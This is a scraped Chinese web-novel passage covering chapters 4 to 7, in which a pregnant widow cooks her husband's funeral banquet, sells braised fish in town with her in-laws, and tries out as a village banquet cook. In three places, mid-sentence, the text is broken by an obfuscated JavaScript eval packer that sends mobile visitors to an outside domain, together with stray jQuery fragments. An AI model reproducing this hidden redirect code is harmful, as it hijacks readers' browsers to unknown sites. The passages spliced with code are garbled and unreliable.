虽然这个时代肯定比不得以后，也没那么多肉菜，可是也难不倒她，便是东西少才能看出她的本事来。 孙氏说道：“你还有身孕呢，操劳这做什么？” 林秋然道：“这毕竟是萧寻的白事，况且既然让我管家，那就听我的。” 孙氏愣了半响，随即点点头，“娘不是不让你管，是担心你身子。” 林秋然道：“我心里有数。” 是有孩子，可她总得能养活自己。再者说了，孙氏和萧大石四十多岁，这个时代人均寿命也短，她不能全靠他们两个。就是没想到，从操旧业操的是便宜夫君的白事。 林秋然低头看了眼孙氏早上给她熬的鱼汤，味道有些淡，汤的颜色浅白，也不是纯正的奶白色，不过鱼肉新鲜。若是她来做，味道肯定比这好。 林秋然还想着，若是做出来的味道好，可以把菜带到县城去买，先少做几条，过去试试，真成了再多做。 明日办白事，孙氏挨家挨户去告诉了。林秋然也是才知道，这萧家村都沾亲带故，萧大石有兄长弟弟，不过数年前就断了往来。 如今一家住村东头，一家住村西头，这回萧寻白事，也没请，孙氏回来说，一共四桌，一桌十人，每桌六道菜。 在村里，这已经算是不错的席面了，各家各户都穷，六道菜林秋然心里已经有了主意。 而孙氏也去忙活了，虽然林秋然说了她来操持，不用管，可还能帮帮忙呢。鱼找出来四条，去菜园子里把菜该摘摘，该洗洗。 还收拾出萧寻的一身衣物，准备就葬这个。 这回孙氏没有哭，儿子虽然没了，但还有儿媳和孩子。林秋然能留下肚子里的孩子就是万幸了，她就不求是男是女了。 下午林秋然想了想菜色，鱼是纯荤，一桌一条，这俩日中午做的菜也可以加上，炒南瓜半荤，青椒茄子素菜。 家里茄子多，可以做个地三鲜，这便四道菜了，三热一凉，两荤两素。 还有两道菜，林秋然打算做道拍黄瓜，她调的料汁别人可比不得，说蘸鞋底都好吃也不为过，孙氏还说明天早上换些肉来，林秋然嘱咐她再换几块豆腐，做个肉沫豆腐，这六道菜也就齐了。 只不过在村子里肉不好买，若赶不上杀猪的，得去县城。萧家村离县城有十里地，要孙氏起个大早过去。 晚上林秋然就把钱找了出来，“娘，家里鸡我都吃完了，看看要不要抓几只小鸡。” 孙氏点点头，“还是秋然想得周到。” 次日一早，孙氏摸着黑就去县城了，萧大山还抬回来一口棺材，萧家各处也都绑了白布。 老两口跟着邻居把马萧寻葬入祖坟，这没让林秋然去，她就象征性地擦了擦眼泪。 孙氏这回只红了眼睛，烧纸的时候对着新坟念念叨叨，“你就好好保佑秋然和孩子吧，保佑她们娘俩好好的……” 纸钱一撒，孙氏松了口气，招呼众人中午过去吃饭，自己赶紧回家帮忙。 可回来一看，林秋然已经弄得井井有条了，孙氏想帮忙都不知道怎么插手了。 林秋然以前做席面一桌菜就有十几道，人少时十几二十桌，多了了几十桌，这种时候最要紧的就是备菜，把菜备好能节省时间。 把前面的步骤都做了，该炸的炸该腌的腌，最后下锅摆盘，就会无比的省事儿。林秋然把肉沫都炒熟，豆腐都煎好，茄子蒸了，做第三鲜的切了条……重头菜鱼也炸过，还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15598339|171942||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是裹了面粉炸的。 孙氏看着觉得炸鱼用的油有些多，可儿媳当家作主，她还是不搭话了。 孙氏看了看，“秋然，娘干点啥？” 林秋然说道：“一会儿上菜吧，也不早了，我把菜炒上。” 上菜一向是先凉后热，料汁调好四盘拍黄瓜直接淋上，黄瓜拍的更入味，人多菜少，份量就足，连擂椒茄子也是，满满一盆。 萧家这回也来了不少人，刘氏也过来了，上回不欢而散，这回她就没带儿媳妇。 村里人看着这番场景一边为萧家惋惜，又不禁想这样也好，至少给萧家留个后，大不了日后再改嫁。 刘氏听着人议论心里一顿急，很快饭菜上来，众人也不再说话埋头吃饭。 先上的是拍黄瓜，这道菜家家户户都有，可是萧家今儿的这个跟别的地方的一点都不一样，酸辣入味清脆爽口，带着点点蒜香，吃到嘴里的那一瞬间，舌头就舒服了，人也舒服了，好像一下子就清散了暑热。再吃那辣椒茄子，茄子烂乎乎的，入口即化，蒜泥和辣椒裹在一起，吃着更是好吃。 一个婶子道：“这是秋然手艺呀，真不错！” 若非吃的是萧家白事，肯定得问问这菜是咋做的。 孙氏管上菜，一道菜一道菜端上来，她招呼众人快吃，“都吃好喝好，多吃些。” 这回上的菜是地三鲜，都是一锅出，一锅菜盛四盘。 孙氏守着上菜，这回忍不住告诉林秋然这么盛不行，“你当厨子的自己不留饭出来，还等着客人给你剩呀。” 林秋然差点忘了，以前日子好，席面的菜能剩挺多，不愁厨子没饭吃。但村子里不一样，百姓日子差，很少有荤腥，估计上一盘空一盘。 林秋然笑了笑，“那我留一点。” 孙氏嘱咐着，“你饿了就吃，我来炒。” 林秋然分出点地三鲜，炒菜肯定她来，她还指望靠这个给自己找个活儿做，怎能让孙氏来。 菜重新分好，林秋然道：“娘，上菜吧。” 林秋然最后做了红烧鱼，鱼是提前炸过的，再烧汤汁炖，用了太长时间。 菜全端上去，林秋然给自己盛了点饭，就在厨房吃的，忙活一上午她也饿了。除了前面两道凉菜没留，剩下的她都留了。 鱼是多炖了一条，外头萧大石和孙氏跟着客人一块吃，少不了提起萧寻来，林秋然自己吃也自在。 林秋然先尝了鱼肉，味道很好，红烧鱼新鲜，肉紧实弹牙，炸过的鱼皮被汤一顿烂乎乎的，鱼肉蘸点汤，更入味儿。 肉末豆腐也好吃，这个是猪油炒的，舀一勺往米饭里一拌，香得人迷迷糊糊的。 若是家里油多，林秋然还有一道拿手菜，是肉末豆泡，比豆腐更吸汤入味。 众人吃饱喝足，不少人夸孙氏萧大石说他们有福气，“儿媳这么能干，以后肯定差不了。” 孙氏一直往厨房张望，她都盼着不能干呢，可别给累坏了。 还有人和刘氏说：“你闺女手艺可真好，真是养了个好女儿。” 刘氏心道，养个好女儿有什么用，还不是给别人家养的，一根筋犟得要死，让她改嫁还不愿意。 等林秋然吃完饭出来，外头人已经走了一大波了，跟孙氏关系好的于婶儿道：“秋然这手艺不错，日后我家有啥事了，也请你过去掌勺。” 林秋然求之不得，刘氏看这样子赶紧拉着女儿的手去了旁边，“你这孩子究竟咋想的？真要留在萧家把孩子生下来？” 5. 第五章 卖鱼 林秋然道：“我不都说了吗，娘怎么还问？” 刘氏说道：“你傻呀你，给人家生孩子，以后没个依靠怎么行！” 林秋然道：“我都想好了，娘你就别劝了。靠山山倒靠水水枯，万一再嫁男人又死了咋整，那我可真就克夫了，到时候再再嫁可就难了。” 刘氏瞪大眼睛，“你胡说啥呢！” 林秋然叹了口气，“娘，你要真想帮我，等林家村谁家办宴席，你帮着问问，要不要掌厨的。” 刘氏跺了跺脚，“你真是要气死我。” 刘氏把礼钱塞下就走了，可见气得不轻。林秋然笑了笑，她能感觉到刘氏是为自己操心，怕她以后没出路，可家里有个嫂子，万事都得听嫂子的，回去那才是没有依靠呢。 客人都走得差不多了，孙氏开始收拾碗筷，有些还是从邻居家借的，一会儿洗完得还回去，林秋然想帮忙，孙氏没让，“你都站了一上午了，我来就成。” 林秋然点点头，坐在一旁歇着，又跟孙氏搭话，“娘，县城人多吗，买东西的多吗？” 孙氏道：“早上还成，人挺多的。” 林秋然道：“娘，摊贩都卖什么？” 孙氏想了想，“肉菜早饭……不过没卖鸡崽子的，到时候我问问村里有人养不，换几只来。” 林秋然道：“娘，我想着把剩下的鱼也给烧了，然后让你和爹带去城里去卖，你尝着中午鱼的味道怎么样？若是行的话可以试试去。” 孙氏看着自己手里的空盘子，里面啥都没有，鱼骨头都让人给嗦了。鱼头也啃干净了，汤被人泡了饭。虽然有村里没啥好吃的的缘故，可林秋然烧的这鱼的确好吃，肉嫩入味，鱼也没散，以前孙氏烧鱼都碎了，还有土腥味儿。 孙氏道：“家里的事儿都你做主，你说烧就烧，就是娘怕你辛苦。” 林秋然笑了笑，“没事儿，我现在没啥感觉，累了肯定就不弄了。” 孙氏点点头，以为林秋然担心银子，等收拾好把今儿收的礼钱全给了她，一家随个几文钱，加一块也就一百多个铜板。 钱林秋然收下了，她数了数剩下的鱼，昨天早上炖了一条，今儿吃了五条，还有十五条。 在木桶里养得还挺好，她问了孙氏，外面卖鱼，鲤鱼四文一斤，萧大石捞的这些一条差不多四五斤。林秋然打算烧好之后按市场价贵一倍价钱卖，到时候汤可以多加不要钱。 她也不单单是卖鱼，一来是鱼太多，光吃总有吃够的时候，倒不如换了钱买些别的肉吃，二来村里办席面，就算给钱也不会太多。若是做些东西去县城卖，说不准能支个小摊子，或是有人闻着味道来，请她去别人家里做饭。 她虽然穿越到村里，可不想一辈子都待在这里，既然决定把孩子生下来，总得做长远打算。 难不成以后孩子就在村里和泥巴玩，那肯定不行，要送去读书的。这些日子捡了些钱，却也不够在县城买宅子。 林秋然想赚银子，萧家是有地，孙氏和萧大石知道种地，可种地也不赚钱。若是萧寻在，还能打猎，如今只能靠她自己。 次日一早，林秋然就让孙氏把鱼给杀了，自己又好好清理了一遍，尤其是鱼肚子的黑膜，这个弄干净吃起来就不腥。 她今儿烧了六条，做好之后放进木桶里，让孙氏和萧大石推着去县城。二人临走林秋然嘱咐，“娘，我在里面炖了些菜，跟鱼是一个味道，把菜给客人尝尝。如果是实在卖不完就回来，别傻等着，这天热也容易坏，卖不完咱们就回来自家吃。” 孙氏和萧大石点了点头，推车去了县城。 林秋然留在家里，琢磨还能做些什么，她如今有身孕，虽然没什么反应，可太累也不行，所以最好是在家做，做好了让孙氏萧大石拿去卖。 好在孙氏和萧大石听她的话，就是不知今儿鱼卖得怎么样，能不能赚钱？ 等到下午两人还没回来，林秋然心里有些着急，别是卖不完一直等着，她早就嘱咐过，还不如跟着一块去。 又在家门口坐了一会儿，林秋然看远处有人推着模板车回来，正是孙氏和萧大石。 林秋然赶紧站起来，她把门打开，让两人推车进来。也没急着问，因为她看孙氏脸上高兴，就算没全卖出去估计也卖出了几条。 等把门关上，林秋然问：“娘，咋样？” 孙氏说道：“全卖光了，一斤八文钱，一共卖了二百五十四文！我又买了只鸡，给你炖着补身子，早饭是想给你买，可回来太晚怕给捂坏了。不过娘买了别的，你看，有葡萄西瓜，你一会儿吃。” 本来孙氏没抱什么希望，觉得林秋然要价贵，家家户户都会做的东西，按村里人的心思，就算做的难吃也不会去买。 她本来是哄林秋然的，大不了回来吃，可是竟出奇地顺利。 两人走得快，到县城鱼还热乎着，上午一过去就有人闻着香味来问，孙氏道：“这是家里做的红烧鱼，带回去中午一热就能吃。” 虽然比活鱼贵了一倍钱，可是不用自己做，活鱼内脏啥的可都是算钱的，但是做好的没那些压秤的东西，还不用自己烧不用调料。尝尝一块儿烧的菜也好吃，第一个问的就买了一条。 孙氏还没想过能赚钱，肯定比卖活鱼赚得多，这鱼做好了怎么也会带点汤，总的下来还是赚的。 二百多文，这可不是出去捡个灵芝卖十两银子能比的，这是儿媳妇做的，她和萧大石也出了力。 鱼卖得还算快，就是路上耽误的时间久，再有孙氏卖了鱼还买了鸡和水果，一来二去就晚了。 林秋然道：“那还有九条，明天给我烧了，爹娘你们再去一趟县城吧。” 孙氏点点头，“成，不然明天早上再让你爹去河里看看还有鱼不？” 林秋然嗯了一声，不过没抱什么希望，这鱼哪能日日都捞到。 孙氏笑呵呵的，“等急了吧，娘给你炖鸡去……要不你来，你做得好吃。” 孙氏想弄，但是自己手艺没林秋然好，吃到儿媳嘴里，肯定得好吃。 林秋然道：“晚上再烧吧，我给你们留了饭，娘你们吃了吗？” 萧大石不吭声，孙氏讪笑，“这不就回来了吗。” 林秋然看着车上的东西，都是给她买的，“明日再去，你们回来得晚就在外头买些吃的。不然把人累坏了，以后就没法去了。” 孙氏点点头，“没事儿，这钱你拿着。买鸡三十一文，别的花了六文，还有二百一十七文钱。” 林秋然道：“大头我拿着，十七文娘拿着吧，出门在外没钱可不成，留着明儿吃饭。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15598340|171942||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >如今家里的钱都在她这，但是林秋然没放一块儿。这个钱以后也单独放起来，算作家里挣的，其他的，秋然打算好好存着，日后若有什么变故就还回去。 当然若以后都在一块住，又到用钱的时候，林秋然也不会顾着是谁的银子，肯定都给用上。 孙氏点了点头，“我和你爹要是不回来，就在外头吃点儿。” 萧大石笑了笑，他今儿挺高兴，如今孩子还在，萧寻是死了，可日子嘛总得往下过。就是有时候还是忍不住想，若是儿子还在就好。忙的时候想不起来，一闲下来就总想。 萧大石只能当儿子在外打仗回不来。 晚上，孙氏就把鸡给宰了，清洗干净交给林秋然。 林秋然看着这鸡，琢磨怎么吃，清炖也吃够了，红烧口味倒是不错，可刚吃过红烧鱼，家里香料不算多，做什么黄焖鸡大盘鸡是不成了。 林秋然也不想吃太过油腻的，她记得那日在村子里转悠，村里有河水，里面有荷花。 她就让孙氏去外面挖些黄土，又让萧大石摘荷叶去。她在家里往鸡肚子塞了些调料蔬菜，打算做个荷叶鸡。 荷叶鸡清淡，烧的时间久外皮发黄，鸡肉比炖烤要软烂，再调个好吃的蘸料，味道肯定也不差。 孙氏是没见过这种吃法，萧大石还怀疑能不能吃，孙氏道：“你管能不能吃，又不是给你吃的，赶紧摘荷叶去。” 俩人做这些的功夫，林秋然把鸡腌了腌，又在院子里挖了一个土坑，垒了几块石头做窑，打算一会儿在这儿烧鸡。 俩人一块回来的，孙氏问要帮忙不，林秋然摇摇头，就先在鸡上裹上一层荷叶，然后又糊上一层黄泥，这样就差不多了。 烧还不能用火，省着糊了，得烧炭，所以窑里都是烧木块，火熄了把鸡放进去，看着别让木炭烧光。 她在外头做这个，孙氏是在里面做晚饭。她分了两样，她和萧大石吃两样米的粥，给林秋然单独做了米饭。 这事林秋然说过几次，却也无济于事，既然做自己就吃呗，怎么说都是一番心意。 太阳落山，荷叶鸡也好了，林秋然给扒了出来，怕烫手还得等了一会儿，才把外面的泥块给敲开。 一敲开就闻到了鸡肉香味，再把荷叶撕开，里面鸡皮已经被烧得发黄。 林秋然把荷叶鸡撕了撕端上饭桌，蘸水也摆好，但孙氏和萧大山一口没夹，这鸡就是孙氏给林秋然买的，她和萧大石又不需要补身子。 林秋然夹了个鸡腿，鸡肉酥烂香糯，吃着还带一股荷叶的清香，单吃清爽，蘸蘸水味道更足。 林秋然给孙氏他们一人夹了一块，“爹娘，你们也吃些，现在天热放不久，给我留个鸡腿明天早上吃就行。” 孙氏点点头，不过吃也都是夹鸡头、骨头多的那些，再让吃说什么都不吃了，林秋然也没办法，这又不能逼着吃。 等以后日子好了，肯定也会吃的。 林秋然吃过晚饭在附近溜达转了几圈，既然打算生下孩子就得注意身子，多走走也好生些。 次日一早，林秋然没急着起来，鱼赶在中午前做好带去县城就行了，而且也得等萧大石捞鱼回来。 林秋然以为萧大石捞不回来几条，可是今儿他捞了八条，虽比不上那日，但是也不少了。 6. 第六章 席面师傅 孙氏和萧大山去收拾鱼了,林秋然就去调面糊，一会儿下锅炸鱼。 这两日做菜炸东西用的油多，她嘱咐孙氏今儿回来再买一些。 孙氏还问：“这不还有吗，就炸了两三遍，又不脏啥的，接着用就是。” 但林秋然不乐意，自家吃不讲究，可往外卖不成。最多炸个两三遍，就不能再炸鱼往外卖了，剩下的可以留着自家家吃，好好保存，炒菜快些吃完是没事儿的。不然到时候人吃坏肚子，准得找上门了。 如今家里万事都听林秋然的，孙氏也只能听话。左右是赚钱的，买些油就买些。 鱼要先炸再炖鱼，鱼肉改花刀挂两遍面糊，挂完抖一抖，炸出来的鱼就开花，形状比起自家做的煎鱼好多了，炸鱼还能定型，炖出来还是一整条，既不散形状又好看，不仅如此，颜色金黄，汤汁是浅褐色，鱼身上面撒着葱段和蒜段，也算色香味俱全。 怕卖不完，林秋然没敢把鱼全做了，就做了十条，剩下的养在水桶里。 二人临走之前林秋然嘱咐，“爹娘，你们中午在县城买些饭菜吃，别光饿着。我今天也不给你们留饭了，要是还饿着，就得饿一天。卖不完就回来，别傻等着。” 昨日卖得好，也许是新鲜的缘故，今儿未见得能卖成啥样。 孙氏点点头，“你在家就歇着，园子里有草也不用管，等我和你爹回来再除。家里没啥肉了，你把剩下的鸡肉吃完，晚上回来我再买点猪肉回来。” 林秋然点点头，看着二人把装着炖鱼的木桶搬上板车，用绳子绑好，然后一起推着车走远。 她回屋看了看鱼，还剩七条，在水桶里还很欢快。林秋然放了心，去洗了些葡萄吃，酸酸甜甜的，还挺好吃。 坐了一会儿，她把瓜冰到井水里，等孙氏和萧大石回来也能吃。做好这些，林秋然就出门了，总靠鱼可不成，她一会儿出去问问，谁家办事儿要厨子，要是不成，帮工也行。 萧家村住着的多少都沾亲带故，林秋然也是这两日才知道，萧大石有兄弟，不过因为十几年前老人太过偏心，关系就断了。住得也远，寻常见不到一次。 跟萧家关系不错有李家的于婶儿，就住萧家隔壁，林秋然打算去问问她。 林秋然去园子里摘了两个小南瓜，去别人家里总不能空着手上门，带着东西，她敲了敲李家的门。 于婶儿开的门，“秋然来啦。” 于婶儿给林秋然倒了杯水，让她坐下，“身子咋样？” 她已经知道林秋然决定把孩子生下来了，就是这阵子受打击，于婶儿怕林秋然受不住。 林秋然点点头，“挺好的。” 于婶儿笑着点点头，“那我就放心了，你公爹和你娘性子都不错，留下未见得没有改嫁好。” 林秋然笑了笑，“婶子说得不错，我也想好好过日子，今儿过来就是想问问，村里谁家办席面缺厨子的。前日萧寻白事，婶子也尝了我的手艺，若是能干些活儿，公爹和我娘也轻巧些。” 想起那日，云身子的确记忆犹新，饭菜好吃不说分量也足，村里人都说萧家不错。也有人想问来着，不过忌讳林秋然新寡就没开口。 于婶儿想了想说道：“我帮你问问吧，只不过喜宴怕是不成，你夫君没了，都忌讳这个，那若白事啥的，你肚子里又有孩子……” 于婶儿又怕林秋然忌讳。 林秋然摇摇头，“无碍，我不怕这个，若是有人家需要，还劳烦婶子帮忙引荐。” 于婶儿点点头，“那好，我给你问问。” 林秋然目的达到，也不多叨扰，告辞离开。于婶儿送了送，心里忍不住道了声可怜，才嫁过来男人就没了，能帮一把就帮一把。 林秋然回家后热了个午饭，米饭鸡肉，简单吃了几口。 吃过饭她回屋里，因为原身嫁过来不久，所以屋里还算干净，就是土房子，上头是木梁，也没做天花板，看着黑漆漆的。 天有些热，在屋里睡了一觉，林秋然就去门口等着了。萧家三间房，门口用石头和黄泥垒了个小院，后面菜园子种菜，前面就是口井，还堆着乱七八糟的杂物。 等到太阳微微西沉，孙氏和萧大石就回来了。 有坐在村头的人问二人总出门干啥去，孙氏就说：“出去看看，还没秋收，闲着也是闲着，看看能不能去县城找点活儿做。” 但卖鱼的事儿她没说，鱼就是从河里捞的，谁都能捞，要是都去卖怎么办。别看萧家出了事，众人现在都可怜，可若是知道萧家赚了钱，保不齐眼眼红嫉妒。 孙氏说完，众人露出了然的神色，还提醒俩人注意身体，别太过劳累。萧家少了个壮劳力，家里又决定把孩子留下，可不得多想法子。 孙氏应付了几句就回家了，把车推进家里，林秋然赶紧把门关上。 林秋然把木桶掀开，里面鱼已经卖光了，俩人还把木桶勺子刷干净。旁边用布蒙着秤和称鱼的小篮子，这篮子是藤条编的，鱼放进去正好可以把汤汁沥干净，这个时代没有塑料袋，只能用这个。 除了这俩还有一条五花肉，用树枝串着，看着有两三斤重。再旁边是一个大坛子，估计是林秋然要的油。 孙氏朝林秋然笑了笑，压着声音都盖不住她语气里的欣喜，“鱼都卖光了。卖鱼总共卖了三百四十八文，买油买了十斤，花了五十文，这个肉花了二十文，还有二百七十八文。” 孙氏把钱袋子拿出来，一堆铜板还怪响的呢，“秋然，钱给你。” 林秋然问：“你俩在外头吃的啥？” 孙氏道：“吃了包子，还怪好吃的呢。” 一共买了三个，给萧大石吃了两个，孙氏自己吃一个，素馅包子一文钱一个，她一个就够了，钱总得省着花，要是换成肉的或是再吃别的，俩人一天就得花个六七文，那也太多了。 林秋然低下头，她数出八文钱，“如果明儿出去，这些就是明日吃饭的钱，得花完了。” 孙氏急着跳脚，“这可太多了，你上回给的我还没花完呢。” 昨儿剩了十七文，可是全给她了。 林秋然不由分说的塞了过去，“拿着吧，吃上不能省，别把身子给累坏了，不然以后就不卖鱼。” 孙氏心道不卖哪成，林秋然在家里做，累不着。他们两个跑远点儿卖个鱼，这两天都赚半钱银子了，村里人出门做苦力活，一日才十文，偶尔还八文，这么好的生计她舍不得。 看孙氏急，林秋然就道：“那就听我的，这会儿天热，我又要做鱼，没法给你们带饭。等过些日子天凉快了，提前一晚做出来，再给你们带些饭。想省钱这么省，但不能糊弄。” 萧大石看孙氏还想争辩，赶忙拉了一把，“你就听秋然的吧。” 他又不傻，听得出林秋然是为了他们两个好，知道就记着这好，他们两个多活些日子，也能多帮衬点。 孙氏讪讪一笑，“肉买来了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15598341|171942||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，油也买了，你看看成不，那鱼可活着呢，我去瞅瞅。” 孙氏也知道林秋然是惦着她，高兴是高兴，可不习惯，也不知道咋说，以前只有萧寻的时候，儿子又是个闷葫芦，俩人以前就一个儿子，都不知道女儿的好处。 这两日忙，孙氏也很少想起萧寻来，总有一日会忘了，这样也挺好。 林秋然笑了笑，拎着五花肉进屋，这肉颜色漂亮，是孙氏挑的好的，若是不红烧了，都对不起这猪。 她去菜园子薅了几根葱，又从家里翻了些大料花椒，切肉的时候，林秋然和孙氏道：“家里香料也快用完了，若是还做鱼，得去买一点。” 孙氏点点头，“我明儿去。” 林秋然：“娘，我今天去了于婶儿家里一趟，问了问有没有谁家办席面，需要厨子的，若是有我就过去。” 孙氏愣了一下，然后点点头，“也行，这鱼也不是天天有，到时候我也跟你一块儿去。” 林秋然道：“若是县城有人打听，你也帮我留意着。” 她说着话，手上却不停，把五花肉煎了煎，然后把煎肉的油盛到油罐子里。 这样做的五花肉肥而不腻，不过这个时代缺肉吃，大约还想吃腻的，但林秋然不成。 等炒了糖色后，林秋然把肉炒均匀，她也不喜欢吃香料味重的，少放了一点花椒大料桂皮，调料用的是盐少许糖，酱油和大酱，还往里面放了几个葡萄粒，这样炖出来的肉会软烂一些。 热水一浇，锅盖盖上炖个半个多时辰就成了。 小火慢炖，大锅做饭更有锅气，随着炖的时间越来越长，香味儿也出来了。 晚上还是林秋然吃米饭，孙氏和萧大石吃粥。两斤肉炖了小盆红烧肉，色泽金红，躺在盆子里好似玛瑙石。 孙氏是把肉放到林秋然面前，她和萧大石前头就一个拌黄瓜，还有一碟子咸菜，孙氏事先说了，“你吃，我和你爹不想吃，昨儿刚吃了鸡肉。” 林秋长给一人夹了两块，“嗯，爹娘，你们尝尝这肉怎么样，若是哪日鱼没了，我看看能不能做些别的。” 给人做席面得看有没有人办席面，村里喜宴白事请人，其余的多是自己做，林秋然的夫君没了，肚子里还有个孩子，也怕主人家犯忌讳，机会没有别人多，所以目前还是以去县城卖做好的菜为主。 孙氏是本来不打算吃，闻言夹起来尝了尝。炖肉她做过，不会买五花，多是买后腿肉，肥多瘦少，也用大锅炖，炖起来肥肉软，瘦肉却有些柴。 但是都少油水，还是能一下吃好几块。 林秋然做的这个不一样，肉到粥里，酱汁和油光在粥中泛出油花。孙氏尝了尝，这咬下去就软的不行，尤其是瘦肉，以前她炖总是硬，她还更喜欢吃肥肉，今儿的却不一样，感觉这瘦肉比肥肉还好吃。 再咬了小口肥的，入口就化了，肥的好像还是比瘦的好吃，这回孙氏把肉全放嘴里，猪皮黏牙得很，这肉可太香了，“他爹你也尝尝。” 林秋然切的肉炖出来两根手指宽，肥瘦相间，夹着颤颤巍巍的。萧大石直接一口吃进肚，吃完他眼睛一亮，“是好吃！” 林秋然道：“就是天热，晚上拿肉回来，第二天没准儿坏了，若是日后搬到县城去住倒也方便些。” 孙氏道：“去城里住肯定好，就是家里钱不太够，那不然就让你爹早上去城里买肉，回来做了我和你爹再去卖。” 他俩累点儿也没啥。 7. 第七章 席面试菜 林秋然觉得这样太过辛苦，村里离县城远，来回一趟就够累的，跑两趟人都受不住。若是一人买肉一人去卖，肯定是孙氏卖菜更好些，她比萧大石灵泛，会说话，可她一个人林秋然又不放心。 如今住在村子里，处处不方便，还是得先去县城买座宅子。 林秋然道：“还是先卖鱼吧，再问问要不要厨子做席面，这个我能做。” 萧大石道：“我明儿早起再去河里看看。” 林秋然点点头，“嗯，先吃饭吧。” 吃过饭，林秋然回屋把钱放到一块儿，金镯子和耳钉她称过，差不多一两三钱，换成银子能换十三两多。卖灵芝十两，萧家和她从前存的五两多，如今将将三十两银子。 她也不知道县城像样一点的宅子多少钱，估计得五六十两，照着如今一日二百文赚，那还得四个月，还是河里日日有鱼的情况下。 林秋然把银子都藏好，如今她有两个多月的身孕，她是盼着到六个月之后，能住进城里，也省着大个肚子来回跑。 至于租房子林秋然暂时还没这个打算，因为鱼刚卖了两日，也不知日后什么样，若是常在村里办席面，真租了房子还得回来，更麻烦。而且总得留些钱应急，不能因为买宅子就把银子全花了。 林秋然在心里叹了口气，还是先睡吧。 次日一早，萧大石又去河里，这回捞了两篓子鱼，三十多条，不过是鲫鱼。一条一斤多点，比鲤鱼小得多。 萧大石知道鲫鱼刺多，价钱还便宜，多是炖汤喝，他怕这个做不成，但林秋然喜欢鲫鱼，“爹，这个也能做。” 明儿可以做蒜香鲫鱼，小是小了点，不过胜在鱼多。 新捞的养在桶里，昨儿的宰了下锅炖。鱼炖好后，就由俩人拉到县城去卖，孙氏觉得这鱼卖得贵，可县城的人还觉得便宜呢。味道好是首要的，这样的一条红烧鱼，在饭馆酒楼里怎么也得一钱银子，可是从萧家这儿买，还是少了内脏的，几十文就成了，又不常吃，也舍得。 等二人一走，林秋然坐着歇了会儿，中午简单吃了个饭，下午刚睡下没多久，大门被敲了敲，林秋然起身打开门，一看是于婶儿。 林秋然赶紧把人请进来，于婶儿道：“我就不进去坐了，就几句话。昨儿我帮你问了问，我娘于家庄里有人家里办白事儿，死了是个老头子，六十多岁，喜丧。以前是个木匠，留了不少钱，家里几个儿子打算风光大办，后天下葬。我跟人家说了你做菜好吃，你要是不忌讳，就过去试个菜。” 林秋然：“婶子可知道有多少桌，总共几道菜？” 于婶儿说道：“估计得八桌的，菜一桌八道。工钱说是给两钱银子，不然你等你婆婆回来问问？” 给林秋然的工钱还算便宜，若是老师傅，得三四钱银子。于婶儿跟人说了，林秋然做的菜好吃，那边才点头说可以试菜看看。 林秋然道：“不用，今儿就能去试菜吗？” 于婶儿点点头，“能，我一会儿就带你过去。” 林秋然把门锁上，跟着于婶儿去了于家庄。村口一家气派的砖瓦房，门口挂着白帆，还有花圈，家里人都披麻戴孝。 古代有停尸七天之说，只不过萧寻战死尸骨无存，家里没啥事儿就给他葬了。林秋然跟着于婶儿去了主家，跟她说话的是一个三十多岁的妇人，面容和善，说是姓赵。 赵娘子道：“先看着做道菜吧。” 林秋然就去了厨房。 这个时节各家菜都多，林秋然拿了个茄子，又拿了两个辣椒和半头蒜。蒜拍扁剁碎切成蒜末，茄子切成圆片，辣椒是线椒，切成辣椒圈就行了。怕主人家吃不了辣，林秋然只切了一半。 锅跟萧家一样是大锅，旁边还有铁锅，但林秋然没用。烧火之后把茄子放进去煎，也不放油，把里面的水气逼出来，吃起来才好吃。等把茄子煎成软耙耙蔫巴巴的再给盛出来。烧油下蒜，爆香之后放茄子和辣椒。 调味比萧家好些，因为厨房的调料多，这道菜用时短，很快就做好了。 赵娘子没进厨房，可当林秋然端着菜出来时她直笑，虽说还没尝，可这菜看着好看闻着也香，她拿起筷子尝了一口，眼睛微微发亮。这和自家烧的茄子完全不是一个味道，是真的好吃，茄子没那么多水气，也不腻，入口咸香，辣味恰到好处。 赵娘子问：“这是茄子做的？” 咋还有吃肉的感觉呢。 林秋然点了点头，“嗯，茄子能做的菜是很多，今儿我就做了一道。” 赵娘子点点头，年纪轻轻倒还真的有点本事，“那咱们就定下，后日你得早些过来，这菜可不少呢。你今儿看看缺什么，我们备上，后日八桌八道菜，凉菜两道，热菜四道，再来两道大菜。” 林秋然道：“这个没问题，不过我们不管刷碗，还得再搭一个灶台，两口锅不够用。除了这些，得先给一半定金。” 她是管做洗席面的，别的事儿她不管。 赵娘子：“行。” 邻村的也不怕跑了。 